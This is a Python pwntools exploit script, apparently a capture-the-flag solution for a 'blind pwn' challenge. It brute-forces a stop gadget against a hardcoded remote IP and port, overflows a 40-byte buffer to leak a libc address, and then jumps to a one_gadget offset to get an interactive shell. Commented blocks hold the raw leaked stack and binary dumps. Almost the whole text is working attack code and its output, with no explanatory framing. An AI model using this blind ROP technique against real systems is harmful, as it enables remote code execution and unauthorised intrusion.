from pwn import *
from binascii import hexlify as hl

tmain_addr = 0x4006ce
start_addr = 0x400570

'''
def get_stop_addr(length):
    addr = 0x401000
    while 1:
        try:
            sh = remote('34.92.37.22', 10000)
            sh.recvuntil('!\n')
	    print hex(addr)
            payload = 'a' * length + p64(addr)
            sh.sendline(payload)
            sh.recvuntil("bye!")
	    #print sh.recv()
            sh.close()
            print 'one success addr: 0x%x' % (addr) #0x40070a
	    raw_input()
            return addr
        except Exception:
            addr += 1
            sh.close()

get_stop_addr(40)

'''
io = remote("34.92.37.22",10000)
io.recvuntil("!\n")
#io.sendline("a"*40+p64(0x40070a))
#io.sendline("a"*40+p64(0x4006ec))
io.sendline("a"*40+p64(0x400515)+p64(0x400570))
io.recv(0x48)
libc_base = u64(io.recv(8))-0x20830
success("LIBC BASE -> %#x"%libc_base)
for i in range(18):
	print hex(u64(io.recv(8)))
io.recvuntil("pwn!\n")
io.sendline("a"*40+p64(libc_base+0x45216))
io.interactive()
'''
0a000000 011b033b
40000000 07000000
44fdffff 8c000000 
a4fdffff 5c000000
9afeffff b4000000 
bffeffff d4000000
02ffffff f4000000
54ffffff 14010000
c4ffffff 5c010000
14000000 00000000
017a5200 01781001
1b0c0708 90010710
14000000 1c000000
40fdffff 2a000000
00000000 00000000
14000000 00000000 
017a5200 01781001
1b0c0708 90010000
24000000 1c000000
b0fcffff 50000000
000e1046 0e184a0f
0b770880 003f1a3b
2a332422 00000000
1c000000 44000000
defdffff 25000000
00410e10 8602430d
06600c07 08000000
1c000000 64000000
e3fdffff 43000000
00410e10 8602430d
067e0c07 08000000
'''

'''
6161616161616161
6161616161616161
6161616161616161
6161616161616161
6161616161616161
1505400000000000
0a192886fe7f0000
0000000001000000
2007400000000000
3088d4a2a37f0000
0100000000000000
58192886fe7f0000
a07c31a301000000
ce06400000000000
0000000000000000
eeeea08a6cfb2d4d
7005400000000000
50192886fe7f0000
0000000000000000
0000000000000000
eeeee0b5bcf7d0b2
eeee308b45be6ab2
0000000000000000
0000000000000000
0000000000000000
68192886fe7f0000
689131a3a37f0000
db2710a3a37f0000
0000000000000000
0000000000000000
7005400000000000
50192886fe7f0000
'''
'''
57656c636f6d6520
746f207468697320
626c696e64207077
6e210a00476f6f64627965210a000000011b033b400000000700000044fdffff8c000000a4fdffff5c0000009afeffffb4000000bffeffffd400000002fffffff400000054ffffff14010000c4ffffff5c0100001400000000000000017a5200017810011b0c070890010710140000001c00000040fdffff2a00000000000000000000001400000000000000017a5200017810011b0c070890010000240000001c000000b0fcffff50000000000e10460e184a0f0b770880003f1a3b2a332422000000001c00000044000000defdffff2500000000410e108602430d06600c07080000001c000000
'''
